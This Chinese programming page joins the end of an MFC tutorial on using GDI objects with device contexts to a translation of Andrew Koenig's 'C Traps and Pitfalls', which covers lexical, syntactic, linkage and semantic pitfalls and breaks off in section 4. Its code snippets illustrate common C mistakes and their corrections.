在讨论设备描述表时,已经多次涉及到GDI对象。这里,需强调一下:GDI对象要选入Windows 设备描述表后才能使用;用毕,要恢复设备描述表的原GDI对象,并删除该GDI对象。

一般按如下步骤使用GDI对象:

Create or get a GDI OBJECT hNewGdi;

hOldGdi = ::SelectObject(hdc, hNewGdi)

……

::SelectObject(hdc, hOldGdi)

::DeleteObject(hNewGdi)

先创建或得到一个GDI对象,然后把它选入设备描述表并保存它原来的GDI对象;用毕恢复设备描述表原来的GDI对象并删除新创建的GDI对象。

需要指出的是,如果hNewGdi是一个Stock GDI对象,可以不删除(删除也可以)。通过

HGDIOBJ GetStockObject(

int fnObject // type of stock object

);

来获取Stock GDI对象。

  1. MFC GDI对象

    MFC用一些类封装了Windows GDI对象和相关函数,层次结构如图2-4所示:

    CGdiObject封装了Windows GDI Object共有的特性。其派生类在继承的基础上,主要封装了各类GDI的创建函数以及和具体GDI对象相关的操作。

    CGdiObject的构造函数仅仅让m_hObject为空。如果m_hObject不空,其析构函数将删除对应的Windows GDI对象。MFC GDI对象和Windows GDI对象的关系如图2-5所示。

  2. 使用MFC GDI类的使用

首先创建GDI对象,可分一步或两步创建。一步创建就是构造MFC对象和Windows GDI对象一步完成;两步创建则先构造MFC对象,接着创建Windows GDI对象。然后,把新创建的GDI对象选进设备描述表,取代原GDI对象并保存。最后,恢复原GDI对象。例如:

void CMyView::OnDraw(CDC *pDC)

{

CPen penBlack; //构造MFC CPen对象

if (penBlack.CreatePen(PS_SOLID, RGB(0, 0, 0)))

{

CPen *pOldPen = pDC->SelectObject(&penBlack)); //选进设备表,保存原笔

pDC->SelectObject(pOldPen); //恢复原笔

}else

{

}

}

和在SDK下有一点不同的是:这里没有DeleteObject。因为执行完OnDraw后,栈中的penBlack被销毁,它的析构函数被调用,导致DeleteObject的调用。

还有一点要说明:

pDC->SelectObject(&penBlack)返回了一个CPen *指针,也就是说,它根据原来PEN的句柄创建了一个MFC CPen对象。这个对象是否需要删除呢?不必要,因为它是一个临时对象,MFC框架会自动地删除它。当然,在本函数执行完毕把控制权返回给主消息循环之前,该对象是有效的。

关于临时对象及MFC处理它们的内部机制,将在后续章节详细讨论。

至此,Windows编程的核心概念:窗口、GDI界面(设备描述表、GDI对象等)已经陈述清楚,特别揭示了MFC对这些概念的封装机制,并简明讲述了与这些Windows Object对应的MFC类的使用方法。还有其他Windows概念,可以参见SDK开发文档。在MFC的实现上,基本上仅仅是对和这些概念相关的Win32函数的封装。如果明白了MFC的窗口、GDI界面的封装机制,其他就不难了

C语言陷阱和缺陷

C语言陷阱和缺陷[1]
原著:Andrew Koenig – AT&T Bell Laboratories Murray Hill, New Jersey 07094
原文:收藏
翻译:lover_P
出处:本站

[译序]
那些自认为已经“学完”C语言的人,请你们仔细读阅读这篇文章吧。路还长,很多东西要学。我也是……
[概述]
C语言像一把雕刻刀,锋利,并且在技师手中非常有用。和任何锋利的工具一样,C会伤到那些不能掌握它的人。本文介绍C语言伤害粗心的人的方法,以及如何避免伤害。
[内容]
0 简介
1 词法缺陷
1.1 = 不是 ==
1.2 & 和 | 不是 && 和 ||
1.3 多字符记号
1.4 例外
1.5 字符串和字符
2 句法缺陷
2.1 理解声明
2.2 运算符并不总是具有你所想象的优先级
2.3 看看这些分号!
2.4 switch语句
2.5 函数调用
2.6 悬挂else问题
3 链接
3.1 你必须自己检查外部类型
4 语义缺陷
4.1 表达式求值顺序
4.2 &&、||和!运算符
4.3 下标从零开始
4.4 C并不总是转换实参
4.5 指针不是数组
4.6 避免提喻法
4.7 空指针不是空字符串
4.8 整数溢出
4.9 移位运算符
5 库函数
5.1 getc()返回整数
5.2 缓冲输出和内存分配
6 预处理器
6.1 宏不是函数
6.2 宏不是类型定义
7 可移植性缺陷
7.1 一个名字中都有什么?
7.2 一个整数有多大?
7.3 字符是带符号的还是无符号的?
7.4 右移位是带符号的还是无符号的?
7.5 除法如何舍入?
7.6 一个随机数有多大?
7.7 大小写转换
7.8 先释放,再重新分配
7.9 可移植性问题的一个实例
8 这里是空闲空间
参考
脚注
 
0 简介
C语言及其典型实现被设计为能被专家们容易地使用。这门语言简洁并附有表达力。但有一些限制可以保护那些浮躁的人。一个浮躁的人可以从这些条款中获得一些帮助。
在本文中,我们将会看一看这些未可知的益处。这是由于它的未可知,我们无法为其进行完全的分类。不过,我们仍然通过研究为了一个C程序的运行所需要做的事来做到这些。我们假设读者对C语言至少有个粗浅的了解。
第一部分研究了当程序被划分为记号时会发生的问题。第二部分继续研究了当程序的记号被编译器组合为声明、表达式和语句时会出现的问题。第三部分研究了由多 个部分组成、分别编译并绑定到一起的C程序。第四部分处理了概念上的误解:当一个程序具体执行时会发生的事情。第五部分研究了我们的程序和它们所使用的常 用库之间的关系。在第六部分中,我们注意到了我们所写的程序也不并不是我们所运行的程序;预处理器将首先运行。最后,第七部分讨论了可移植性问题:一个能 在一个实现中运行的程序无法在另一个实现中运行的原因。
1 词法缺陷
编译器的第一个部分常被称为词法分析器(lexical analyzer)。词法分析器检查组成程序的字符序列,并将它们划分为记号(token)一个记号是一个有一个或多个字符的序列,它在语言被编译时具有 一个(相关地)统一的意义。在C中, 例如,记号->的意义和组成它的每个独立的字符具有明显的区别,而且其意义独立于->出现的上下文环境。
另外一个例子,考虑下面的语句:
if(x > big) big = x;
该语句中的每一个分离的字符都被划分为一个记号,除了关键字if和标识符big的两个实例。
事实上,C程序被两次划分为记号。首先是预处理器读取程序。它必须对程序进行记号划分以发现标识宏的标识符。它必须通过对每个宏进行求值来替换宏调用。最后,经过宏替换的程序又被汇集成字符流送给编译器。编译器再第二次将这个流划分为记号。
在这一节中,我们将探索对记号的意义的普遍的误解以及记号和组成它们的字符之间的关系。稍后我们将谈到预处理器。
1.1 = 不是 ==
从Algol派生出来的语言,如Pascal和Ada,用:=表示赋值而用=表示比较。而C语言则是用=表示赋值而用==表示比较。这是因为赋值的频率要高于比较,因此为其分配更短的符号。
此外,C还将赋值视为一个运算符,因此可以很容易地写出多重赋值(如a = b = c),并且可以将赋值嵌入到一个大的表达式中。
这种便捷导致了一个潜在的问题:可能将需要比较的地方写成赋值。因此,下面的语句好像看起来是要检查x是否等于y:
if(x = y)
foo();
而实际上是将x设置为y的值并检查结果是否非零。在考虑下面的一个希望跳过空格、制表符和换行符的循环:
while(c == ‘ ‘ || c = ‘\t’ || c == ‘\n’)
c = getc(f);
在 与’\t’进行比较的地方程序员错误地使用=代替了==。这个“比较”实际上是将’\t’赋给c,然后判断c的(新的)值是否为零。因为’\t’不为零, 这个“比较”将一直为真,因此这个循环会吃尽整个文件。这之后会发生什么取决于特定的实现是否允许一个程序读取超过文件尾部的部分。如果允许,这个循环会 一直运行。
一些C编译器会对形如e1 = e2的条件给出一个警告以提醒用户。当你趋势需要先对一个变量进行赋值之后再检查变量是否非零时,为了在这种编译器中避免警告信息,应考虑显式给出比较符。换句话说,将:
if(x = y)
foo();
改写为:
if((x = y) != 0)
foo();
这样可以清晰地表示你的意图。
1.2 & 和 | 不是 && 和 ||
容易将==错写为=是因为很多其他语言使用=表示比较运算。 其他容易写错的运算符还有&和&&,或|和||,这主要是因为C语言中的&和|运算符于其他语言中具有类似功能的运算符 大为不同。我们将在第4节中贴近地观察这些运算符。
1.3 多字符记号
一些C记号,如/、*和=只有一个字符。而其他一些C记号,如/*和==,以及标识符,具有多个字符。当C编译器遇到紧连在一起的/和*时,它必须能够决 定是将这两个字符识别为两个分离的记号还是一个单独的记号。C语言参考手册说明了如何决定:“如果输入流到一个给定的字符串为止已经被识别为记号,则应该 包含下一个字符以组成能够构成记号的最长的字符串”。因此,如果/是一个记号的第一个字符,并且/后面紧随了一个*,则这两个字符构成了注释的开始,不管 其他上下文环境。
下面的语句看起来像是将y的值设置为x的值除以p所指向的值:
y = x/*p /* p 指向除数 */;
实际上,/*开始了一个注释,因此编译器简单地吞噬程序文本,直到*/的出现。换句话说,这条语句仅仅把y的值设置为x的值,而根本没有看到p。将这条语句重写为:
y = x / *p /* p 指向除数 */;
或者干脆是
y = x / (*p) /* p指向除数 */;
它就可以做注释所暗示的除法了。
这种模棱两可的写法在其他环境中就会引起麻烦。例如,老版本的C使用=+表示现在版本中的+=。这样的编译器会将
a=-1;
视为
a =- 1;

a = a – 1;
这会让打算写
a = -1;
的程序员感到吃惊。
另一方面,这种老版本的C编译器会将
a=/*b;
断句为
a =/ *b;
尽管/*看起来像一个注释。
1.4 例外
组合赋值运算符如+=实际上是两个记号。因此,
a + /* strange */ = 1

a += 1
是一个意思。看起来像一个单独的记号而实际上是多个记号的只有这一个特例。特别地,
p – > a
是不合法的。它和
p -> a
不是同义词。
另一方面,有些老式编译器还是将=+视为一个单独的记号并且和+=是同义词。
1.5 字符串和字符
单引号和双引号在C中的意义完全不同,在一些混乱的上下文中它们会导致奇怪的结果而不是错误消息。
包围在单引号中的一个字符只是书写整数的另一种方法。这个整数是给定的字符在实现的对照序列中的一个对应的值。因此,在一个ASCII实现中,’a'和 0141或97表示完全相同的东西。而一个包围在双引号中的字符串,只是书写一个有双引号之间的字符和一个附加的二进制值为零的字符所初始化的一个无名数 组的指针的一种简短方法。
线面的两个程序片断是等价的:
printf("Hello world\n");
char hello[] = { ‘H’, ‘e’, ‘l’, ‘l’, ‘o’, ‘ ‘, ‘w’, ‘o’, ‘r’, ‘l’, ‘d’, ‘\n’, 0 };
printf(hello);
使用一个指针来代替一个整数通常会得到一个警告消息(反之亦然),使用双引号来代替单引号也会得到一个警告消息(反之亦然)。但对于不检查参数类型的编译器却除外。因此,用
printf(‘\n’);
来代替
printf("\n");
通常会在运行时得到奇怪的结果。
由于一个整数通常足够大,以至于能够放下多个字符,一些C编译器允许在一个字符常量中存放多个字符。这意味着用’yes’代替"yes"将不会被发现。后 者意味着“分别包含y、e、s和一个空字符的四个连续存贮器区域中的第一个的地址”,而前者意味着“在一些实现定义的样式中表示由字符y、e、s联合构成 的一个整数”。这两者之间的任何一致性都纯属巧合。
2 句法缺陷
要理解C语言程序,仅了解构成它的记号是不够的。还要理解这些记号是如何构成声明、表达式、语句和程序的。尽管这些构成通常都是定义良好的,但这些定义有时候是有悖于直觉的或混乱的。
在这一节中,我们将着眼于一些不明显句法构造。
2.1 理解声明
我曾经和一些人聊过天,他们那时在书写在一个小型的微处理器上单机运行的C程序。当这台机器的开关打开的时候,硬件会调用地址为0处的子程序。
为了模仿电源打开的情形,我们要设计一条C语句来显式地调用这个子程序。经过一些思考,我们写出了下面的语句:
(*(void(*)())0)();
这样的表达式会令C程序员心惊胆战。但是,并不需要这样,因为他们可以在一个简单的规则的帮助下很容易地构造它:以你使用的方式声明它。
每个C变量声明都具有两个部分:一个类型和一组具有特定格式的期望用来对该类型求值的表达式。最简单的表达式就是一个变量:
float f, g;
说明表达式f和g——在求值的时候——具有类型float。由于待求值的时表达式,因此可以自由地使用圆括号:
float ((f));
者表示((f))求值为float并且因此,通过推断,f也是一个float。
同样的逻辑用在函数和指针类型。例如:
float ff();
表示表达式ff()是一个float,因此ff是一个返回一个float的函数。类似地,
float *pf;
表示*pf是一个float并且因此pf是一个指向一个float的指针。
这些形式的组合声明对表达式是一样的。因此,
float *g(), (*h)();
表示*g()和(*h)()都是float表达式。由于()比*绑定得更紧密,*g()和*(g())表示同样的东西:g是一个返回指float指针的函数,而h是一个指向返回float的函数的指针。
当我们知道如何声明一个给定类型的变量以后,就能够很容易地写出一个类型的模型(cast):只要删除变量名和分号并将所有的东西包围在一对圆括号中即可。因此,由于
float *g();
声明g是一个返回float指针的函数,所以(float *())就是它的模型。
有了这些知识的武装,我们现在可以准备解决(*(void(*)())0)()了。 我们可以将它分为两个部分进行分析。首先,假设我们有一个变量fp,它包含了一个函数指针,并且我们希望调用fp所指向的函数。可以这样写:
(*fp)();
如果fp是一个指向函数的指针,则*fp就是函数本身,因此(*fp)()是调用它的一种方法。(*fp)中的括号是必须的,否则这个表达式将会被分析为*(fp())。我们现在要找一个适当的表达式来替换fp。
这个问题就是我们的第二步分析。如果C可以读入并理解类型,我们可以写:
(*0)();
但这样并不行,因为*运算符要求必须有一个指针作为他的操作数。另外,这个操作数必须是一个指向函数的指针,以保证*的结果可以被调用。因此,我们需要将0转换为一个可以描述“指向一个返回void的函数的指针”的类型。
如果fp是一个指向返回void的函数的指针,则(*fp)()是一个void值,并且它的声明将会是这样的:
void (*fp)();
因此,我们需要写:
void (*fp)();
(*fp)();
来声明一个哑变量。一旦我们知道了如何声明该变量,我们也就知道了如何将一个常数转换为该类型:只要从变量的声明中去掉名字即可。因此,我们像下面这样将0转换为一个“指向返回void的函数的指针”:
(void(*)())0
接下来,我们用(void(*)())0来替换fp:
(*(void(*)())0)();
结尾处的分号用于将这个表达式转换为一个语句。
在这里,我们就解决了这个问题时没有使用typedef声明。通过使用它,我们可以更清晰地解决这个问题:
typedef void (*funcptr)();
(*(funcptr)0)();
2.2 运算符并不总是具有你所想象的优先级
假设有一个声明了的常量FLAG是一个整数,其二进制表示中的某一位被置位(换句话说,它是2的某次幂),并且你希望测试一个整型变量flags该位是否被置位。通常的写法是:
if(flags & FLAG) …
其意义对于很多C程序员都是很明确的:if语句测试括号中的表达式求值的结果是否为0。出于清晰的目的我们可以将它写得更明确:
if(flags & FLAG != 0) …
这个语句现在更容易理解了。但它仍然是错的,因为!=比&绑定得更紧密,因此它被分析为:
if(flags & (FLAG != 0)) …
这(偶尔)是可以的,如FLAG是1或0(!)的时候,但对于其他2的幂是不行的[2]。
假设你有两个整型变量,h和l,它们的值在0和15(含0和15)之间,并且你希望将r设置为8位值,其低位为l,高位为h。一种自然的写法是:
r = h << 4 + 1;
不幸的是,这是错误的。加法比移位绑定得更紧密,因此这个例子等价于:
r = h << (4 + l);
正确的方法有两种:
r = (h << 4) + l;
r = h << 4 | l;
避免这种问题的一个方法是将所有的东西都用括号括起来,但表达式中的括号过度就会难以理解,因此最好还是是记住C中的优先级。
不幸的是,这有15个,太困难了。然而,通过将它们分组可以变得容易。
绑定得最紧密的运算符并不是真正的运算符:下标、函数调用和结构选择。这些都与左边相关联。
接下来是一元运算符。它们具有真正的运算符中的最高优先级。由于函数调用比一元运算符绑定得更紧密,你必须写(*p)()来调用p指向的函数;*p()表 示p是一个返回一个指针的函数。转换是一元运算符,并且和其他一元运算符具有相同的优先级。一元运算符是右结合的,因此*p++表示*(p++),而不是 (*p)++。
在接下来是真正的二元运算符。其中数学运算符具有最高的优先级,然后是移位运算符、关系运算符、逻辑运算符、赋值运算符,最后是条件运算符。需要记住的两个重要的东西是:
所有的逻辑运算符具有比所有关系运算符都低的优先级。
一位运算符比关系运算符绑定得更紧密,但又不如数学运算符。
在这些运算符类别中,有一些奇怪的地方。乘法、除法和求余具有相同的优先级,加法和减法具有相同的优先级,以及移位运算符具有相同的优先级。
还有就是六个关系运算符并不具有相同的优先级:==和!=的优先级比其他关系运算符要低。这就允许我们判断a和b是否具有与c和d相同的顺序,例如:
a < b == c < d
在逻辑运算符中,没有任何两个具有相同的优先级。按位运算符比所有顺序运算符绑定得都紧密,每种与运算符都比相应的或运算符绑定得更紧密,并且按位异或(^)运算符介于按位与和按位或之间。
三元运算符的优先级比我们提到过的所有运算符的优先级都低。这可以保证选择表达式中包含的关系运算符的逻辑组合特性,如:
z = a < b && b < c ? d : e
这个例子还说明了赋值运算符具有比条件运算符更低的优先级是有意义的。另外,所有的复合赋值运算符具有相同的优先级并且是自右至左结合的,因此
a = b = c

b = c; a = b;
是等价的。
具有最低优先级的是逗号运算符。这很容易理解,因为逗号通常在需要表达式而不是语句的时候用来替代分号。
赋值是另一种运算符,通常具有混合的优先级。例如,考虑下面这个用于复制文件的循环:
while(c = getc(in) != EOF)
putc(c, out);
这 个while循环中的表达式看起来像是c被赋以getc(in)的值,接下来判断是否等于EOF以结束循环。不幸的是,赋值的优先级比任何比较操作都低, 因此c的值将会是getc(in)和EOF比较的结果,并且会被抛弃。因此,“复制”得到的文件将是一个由值为1的字节流组成的文件。
上面这个例子正确的写法并不难:
while((c = getc(in)) != EOF)
putc(c, out);
然而,这种错误在很多复杂的表达式中却很难被发现。例如,随UNIX系统一同发布的lint程序通常带有下面的错误行:
if (((t = BTYPE(pt1->aty) == STRTY) || t == UNIONTY) {
这条语句希望给t赋一个值,然后看t是否与STRTY或UNIONTY相等。而实际的效果却大不相同[3]。
C中的逻辑运算符的优先级具有历史原因。B——C的前辈——具有和C中的&和|运算符对应的逻辑运算符。尽管它们的定义是按位的 ,但编译器在条件判断上下文中将它们视为和&&和||一样。当在C中将它们分开后,优先级的改变是很危险的[4]。
2.3 看看这些分号!
C中的一个多余的分号通常会带来一点点不同:或者是一个空语句,无任何效果;或者编译器可能提出一个诊断消息,可以方便除去掉它。一个重要的区别是在必须跟有一个语句的if和while语句中。考虑下面的例子:
if(x[i] > big);
big = x[i];
这不会发生编译错误,但这段程序的意义与:
if(x[i] > big)
big = x[i];
就大不相同了。第一个程序段等价于:
if(x[i] > big) { }
big = x[i];
也就是等价于:
big = x[i];
(除非x、i或big是带有副作用的宏)。
另一个因分号引起巨大不同的地方是函数定义前面的结构声明的末尾[译注:这句话不太好听,看例子就明白了]。考虑下面的程序片段:
struct foo {
int x;
}

f() {

}
在紧挨着f的第一个}后面丢失了一个分号。它的效果是声明了一个函数f,返回值类型是struct foo,这个结构成了函数声明的一部分。如果这里出现了分号,则f将被定义为具有默认的整型返回值[5]。
2.4 switch语句
通常C中的switch语句中的case段可以进入下一个。例如,考虑下面的C和Pascal程序片断:
switch(color) {
case 1: printf ("red");
break;
case 2: printf ("yellow");
break;
case 3: printf ("blue");
break;
}
case color of
1: write (‘red’);
2: write (‘yellow’);
3: write (‘blue’);
end
这两个程序片断都作相同的事情:根据变量color的值是1、2还是3打印red、yellow或blue(没有新行符)。这两个程序片断非常相似,只有 一点不同:Pascal程序中没有C中相应的break语句。C中的case标签是真正的标签:控制流程可以无限制地进入到一个case标签中。
看看另一种形式,假设C程序段看起来更像Pascal:
switch(color) {
case 1: printf ("red");
case 2: printf ("yellow");
case 3: printf ("blue");
}
并且假设color的值是2。则该程序将打印yellowblue,因为控制自然地转入到下一个printf()的调用。
这既是C语言switch语句的优点又是它的弱点。说它是弱点,是因为很容易忘记一个break语句,从而导致程序出现隐晦的异常行为。说它是优点,是因 为通过故意去掉break语句,可以很容易实现其他方法难以实现的控制结构。尤其是在一个大型的switch语句中,我们经常发现对一个case的处理可 以简化其他一些特殊的处理。
例如,设想有一个程序是一台假想的机器的翻译器。这样的一个程序可能包含一个switch语句来处理各种操作码。在这样一台机器上,通常减法在对其第二个运算数进行变号后就变成和加法一样了。因此,最好可以写出这样的语句:
case SUBTRACT:
opnd2 = -opnd2;
/* no break; */
case ADD:

另外一个例子,考虑编译器通过跳过空白字符来查找一个记号。这里,我们将空格、制表符和新行符视为是相同的,除了新行符还要引起行计数器的增长外:
case ‘\n’:
linecount++;
/* no break */
case ‘\t’:
case ‘ ‘:

2.5 函数调用
和其他程序设计语言不同,C要求一个函数调用必须有一个参数列表,但可以没有参数。因此,如果f是一个函数,
f();
就是对该函数进行调用的语句,而
f;
什么也不做。它会作为函数地址被求值,但不会调用它[6]。
2.6 悬挂else问题
在讨论任何语法缺陷时我们都不会忘记提到这个问题。尽管这一问题不是C语言所独有的,但它仍然伤害着那些有着多年经验的C程序员。
考虑下面的程序片断:
if(x == 0)
if(y == 0) error();
else {
z = x + y;
f(&z);
}
写这段程序的程序员的目的明显是将情况分为两种:x = 0和x != 0。在第一种情况中,程序段什么都不做,除非y = 0时调用error()。第二种情况中,程序设置z = x + y并以z的地址作为参数调用f()。
然而, 这段程序的实际效果却大为不同。其原因是一个else总是与其最近的if相关联。如果我们希望这段程序能够按照实际的情况运行,应该这样写:
if(x == 0) {
if(y == 0)
error();
else {
z = x + y;
f(&z);
}
}
换句话说,当x != 0发生时什么也不做。如果要达到第一个例子的效果,应该写:
if(x == 0) {
if(y ==0)
error();
}
else {
z = z + y;
f(&z);
}
3 链接
一个C程序可能有很多部分组成,它们被分别编译,并由一个通常称为链接器、链接编辑器或加载器的程序绑定到一起。由于编译器一次通常只能看到一个文件,因此它无法检测到需要程序的多个源文件的内容才能发现的错误。
在这一节中,我们将看到一些这种类型的错误。有一些C实现,但不是所有的,带有一个称为lint的程序来捕获这些错误。如果具有一个这样的程序,那么无论怎样地强调它的重要性都不过分。
3.1 你必须自己检查外部类型
假设你有一个C程序,被划分为两个文件。其中一个包含如下声明:
int n;
而令一个包含如下声明:
long n;
这 不是一个有效的C程序,因为一些外部名称在两个文件中被声明为不同的类型。然而,很多实现检测不到这个错误,因为编译器在编译其中一个文件时并不知道另一 个文件的内容。因此,检查类型的工作只能由链接器(或一些工具程序如lint)来完成;如果操作系统的链接器不能识别数据类型,C编译器也没法过多地强制 它。
那么,这个程序运行时实际会发生什么?这有很多可能性:
实现足够聪明,能够检测到类型冲突。则我们会得到一个诊断消息,说明n在两个文件中具有不同的类型。
你所使用的实现将int和long视为相同的类型。典型的情况是机器可以自然地进行32位运算。在这种情况下你的程序或许能够工作,好象你两次都将变量声明为long(或int)。但这种程序的工作纯属偶然。
n的两个实例需要不同的存储,它们以某种方式共享存储区,即对其中一个的赋值对另一个也有效。这可能发生,例如,编译器可以将int安排在long的低位。不论这是基于系统的还是基于机器的,这种程序的运行同样是偶然。
n的两个实例以另一种方式共享存储区,即对其中一个赋值的效果是对另一个赋以不同的值。在这种情况下,程序可能失败。
这种情况发生的里一个例子出奇地频繁。程序的某一个文件包含下面的声明:
char filename[] = "etc/passwd";
而另一个文件包含这样的声明:
char *filename;
尽管在某些环境中数组和指针的行为非常相似,但它们是不同的。在第一个声明中,filename是一个字符数组的名字。尽管使用数组的名字可以产生数组第 一个元素的指针,但这个指针只有在需要的时候才产生并且不会持续。在第二个声明中,filename是一个指针的名字。这个指针可以指向程序员让它指向的 任何地方。如果程序员没有给它赋一个值,它将具有一个默认的0值(null)[译注:实际上,在C中一个为初始化的指针通常具有一个随机的值,这是很危险 的!]。
这两个声明以不同的方式使用存储区,他们不可能共存。
避免这种类型冲突的一个方法是使用像lint这样的工具(如果可以的话)。为了在一个程序的不同编译单元之间检查类型冲突,一些程序需要一次看到其所有部分。典型的编译器无法完成,但lint可以。
避免该问题的另一种方法是将外部声明放到包含文件中。这时,一个外部对象的类型仅出现一次[7]。
4 语义缺陷
一个句子可以是精确拼写的并且没有语法错误,但仍然没有意义。在这一节中,我们将会看到一些程序的写法会使得它们看起来是一个意思,但实际上是另一种完全不同的意思。
我们还要讨论一些表面上看起来合理但实际上会产生未定义结果的环境。我们这里讨论的东西并不保证能够在所有的C实现中工作。我们暂且忘记这些能够在一些实现中工作但可能不能在另一些实现中工作的东西,直到第7节讨论可以执行问题为止。
4.1 表达式求值顺序
一些C运算符以一种已知的、特定的顺序对其操作数进行求值。但另一些不能。例如,考虑下面的表达式:
a < b && c < d
C语言定义规定a < b首先被求值。如果a确实小于b,c < d必须紧接着被求值以计算整个表达式的值。但如果a大于或等于b,则c < d根本不会被求值。
要对a < b求值,编译器对a和b的求值就会有一个先后。但在一些机器上,它们也许是并行进行的。
C中只有四个运算符&&、||、?:和,指定了求值顺序。&&和||最先对左边的操作数进行求值,而右边的操作数只有在 需要的时候才进行求值。而?:运算符中的三个操作数:a、b和c,最先对a进行求值,之后仅对b或c中的一个进行求值,这取决于a的值。,运算符首先对左 边的操作数进行求值,然后抛弃它的值,对右边的操作数进行求值[8]。
C中所有其它的运算符对操作数的求值顺序都是未定义的。事实上,赋值运算符不对求值顺序做出任何保证。
出于这个原因,下面这种将数组x中的前n个元素复制到数组y中的方法是不可行的:
i = 0;
while(i < n)
y[i] = x[i++];
其中的问题是y[i]的地址并不保证在i增长之前被求值。在某些实现中,这是可能的;但在另一些实现中却不可能。另一种情况出于同样的原因会失败:
i = 0;
while(i < n)
y[i++] = x[i];
而下面的代码是可以工作的:
i = 0;
while(i < n) {
y[i] = x[i];
i++;
}
当然,这可以简写为:
for(i = 0; i < n; i++)
y[i] = x[i];
4.2 &&、||和!运算符
C中有两种逻辑运算符,在某些情况下是可以交换的:按位运算符&、|和~,以及逻辑运算符&&、||和!。一个程序员如果用某一类运算符替换相应的另一类运算符会得到某些奇怪的效果:程序可能会正确地工作,但这纯属偶然。
&&、||和!运算符将它们的参数视为仅有“真”或“假”,通常约定0代表“假”而其它的任意值都代表“真”。这些运算符返回1表示 “真”而返回0表示“假”,而且&&和||运算符当可以通过左边的操作数确定其返回值时,就不会对右边的操作数进行求值。
因此!10是零,因为10非零;10 && 12是1,因为10和12都非零;10 || 12也是1,因为10非零。另外,最后一个表达式中的12不会被求值,10 || f()中的f()也不会被求值。
考虑下面这段用于在一个表中查找一个特定元素的程序:
i = 0;
while(i < tabsize && tab[i] != x)
i++;
这段循环背后的意思是如果i等于tabsize时循环结束,元素未被找到。否则,i包含了元素的索引。
假设这个例子中的&&不小心被替换为了&,这个循环可能仍然能够工作,但只有两种幸运的情况可以使它停下来。
首先,这两个操作都是当条件为假时返回0,当条件为真时返回1。只要x和y都是1或0,x & y和x && y都具有相同的值。然而,如果当使用了出了1之外的非零值表示“真”时互换了这两个运算符,这个循环将不会工作。
其次,由于数组元素不会改变,因此越过数组最后一个元素进一个位置时是无害的,循环会幸运地停下来。失误的程序会越过数组的结尾,因为&不像 &&,总是会对所有的操作数进行求值。因此循环的最后一次获取tab[i]时i的值已经等于tabsize了。如果tabsize是 tab中元素的数量, 则会取到tab中不存在的一个值。
4.3 下标从零开始
在很多语言中,具有n个元素的数组其元素的号码和它的下标是从1到n严格对应的。但在C中不是这样。
一个具有n个元素的C数组中没有下标为n的元素,其中的元素的下标是从0到n – 1。因此从其它语言转到C语言的程序员应该特别小心地使用数组:
int i, a[10];
for(i = 1; i <= 10; i++)
a[i] = 0;
这 个例子的目的是要将a中的每个元素都设置为0,但没有期望的效果。因为for语句中的比较i < 10被替换成了i <= 10,a中的一个编号为10的并不存在的元素被设置为了0,这样内存中a后面的一个字被破坏了。如果编译该程序的编译器按照降序地址为用户变量分配内存, 则a后面就是i。将i设置为零会导致该循环陷入一个无限循环。
4.4 C并不总是转换实参
下面的程序段由于两个原因会失败:
double s;
s = sqrt(2);
printf("%g\n", s);
第一个原因是sqrt()需要一个double值作为它的参数,但没有得到。第二个原因是它返回一个double值但没有这样声名。改正的方法只有一个:
double s, sqrt();
s = sqrt(2.0);
printf("%g\n", s);
C中有两个简单的规则控制着函数参数的转换:(1)比int短的整型被转换为int;(2)比double短的浮点类型被转换为double。所有的其它值不被转换。确保函数参数类型的正确行使程序员的责任。
因此,一个程序员如果想使用如sqrt()这样接受一个double类型参数的函数,就必须仅传递给它float或double类型的参数。常数2是一个int,因此其类型是错误的。
当一个函数的值被用在表达式中时,其值会被自动地转换为适当的类型。然而,为了完成这个自动转换,编译器必须知道该函数实际返回的类型。没有更进一步声名 的函数被假设返回int,因此声名这样的函数并不是必须的。然而,sqrt()返回double,因此在成功使用它之前必须要声名。
实际上,C实现通常允许一个文件包含include语句来包含如sqrt()这些库函数的声名,但是对那些自己写函数的程序员来说,书写声名也是必要的——或者说,对那些书写非凡的C程序的人来说是有必要的。
这里有一个更加壮观的例子:
main() {
int i;
char c;
for(i = 0; i < 5; i++) {
scanf("%d", &c);
printf("%d", i);
}
printf("\n");
}
表面上看,这个程序从标准输入中读取五个整数并向标准输出写入0 1 2 3 4。实际上,它并不总是这么做。譬如在一些编译器中,它的输出为0 0 0 0 0 1 2 3 4。
为什么?因为c的声名是char而不是int。当你令scanf()去读取一个整数时,它需要一个指向一个整数的指针。但这里它得到的是一个字符的指针。 但scanf()并不知道它没有得到它所需要的:它将输入看作是一个指向整数的指针并将一个整数存贮到那里。由于整数占用比字符更多的内存,这样做会影响 到c附近的内存。
c附近确切是什么是编译器的事;在这种情况下这有可能是i的低位。因此,每当向c中读入一个值,i就被置零。当程序最后到达文件结尾时,scanf()不再尝试向c中放入新值,i才可以正常地增长,直到循环结束。
4.5 指针不是数组
C程序通常将一个字符串转换为一个以空字符结尾的字符数组。假设我们有两个这样的字符串s和t,并且我们想要将它们连接为一个单独的字符串r。我们通常使用库函数strcpy()和strcat()来完成。下面这种明显的方法并不会工作:
char *r;
strcpy(r, s);
strcat(r, t);
这是因为r没有被 初始化为指向任何地方。尽管r可能潜在地表示某一块内存,但这并不存在,直到你分配它。
让我们再试试,为r分配一些内存:
char r[100];
strcpy(r, s);
strcat(r, t);
这 只有在s和t所指向的字符串不很大的时候才能够工作。不幸的是,C要求我们为数组指定的大小是一个常数,因此无法确定r是否足够大。然而,很多C实现带有 一个叫做malloc()的库函数,它接受一个数字并分配这么多的内存。通常还有一个函数成为strlen(),可以告诉我们一个字符串中有多少个字符: 因此,我们可以写:
char *r, *malloc();
r = malloc(strlen(s) + strlen(t));
strcpy(r, s);
strcat(r, t);
然而这个例子会因为两个原因而失败。首先,malloc()可能会耗尽内存,而这个事件仅通过静静地返回一个空指针来表示。
其次,更重要的是,malloc()并没有分配足够的内存。一个字符串是以一个空字符结束的。而strlen()函数返回其字符串参数 中所包含字符的数量,但不包括结尾的空字符。因此,如果strlen(s)是n,则s需要n + 1个字符来盛放它。因此我们需要为r分配额外的一个字符。再加上检查malloc()是否成功,我们得到:
char *r, *malloc();
r = malloc(strlen(s) + strlen(t) + 1);
if(!r) {
complain();
exit(1);
}
strcpy(r, s);
strcat(r, t);
4.6 避免提喻法
提喻法(Synecdoche, sin-ECK-duh-key)是一种文学手法,有点类似于明喻或暗喻,在牛津英文词典中解释如下:“a more comprehensive term is used for a less comprehensive or vice versa; as whole for part or part for whole, genus for species or species for genus, etc.(将全面的单位用作不全面的单位,或反之;如整体对局部或局部对整体、一般对特殊或特殊对一般,等等。)”
